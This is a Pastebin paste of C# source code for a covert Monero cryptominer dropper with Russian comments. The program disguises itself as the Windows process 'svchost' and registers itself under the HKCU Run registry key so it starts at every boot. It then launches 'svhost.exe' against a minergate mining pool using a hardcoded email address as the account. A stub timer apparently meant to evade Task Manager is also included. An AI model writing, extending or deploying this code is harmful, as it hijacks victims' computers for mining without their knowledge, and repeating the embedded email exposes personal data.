Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Diagnostics;
- using System.Threading;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- using Microsoft.Win32;
- namespace svchost
- {
- public partial class svchost : Form
- {
- public svchost()
- {
- InitializeComponent();
- }
- static public string appName = "Host process";
- // Параметры запуска майнера
- static public string poolUrl = "stratum+tcp://xmr.pool.minergate.com:45590";
- static public string userName = "alex.dizaro@yandex.ru";
- static public string userPass = "x";
- static public string startInfo = string.Format("-a cryptonight-light -o {0} -u {1} -p {2}", poolUrl, userName, userPass);
- // Добавление в автозагрузку
- public bool addAutorun()
- {
- string ExePath = System.Windows.Forms.Application.ExecutablePath;
- RegistryKey regKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
- try
- {
- regKey.SetValue(appName, ExePath);
- regKey.Close();
- }
- catch { return false; }
- return true;
- }
- // Запуск майнера
- public bool StartMiner()
- {
- ProcessStartInfo info = new ProcessStartInfo("svhost.exe");
- info.Arguments = startInfo;
- System.Diagnostics.Process.Start(info);
- return true;
- }
- private void svchost_Load(object sender, EventArgs e)
- {
- addAutorun();
- StartMiner();
- }
- private void taskManagerChecker_Tick(object sender, EventArgs e)
- {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement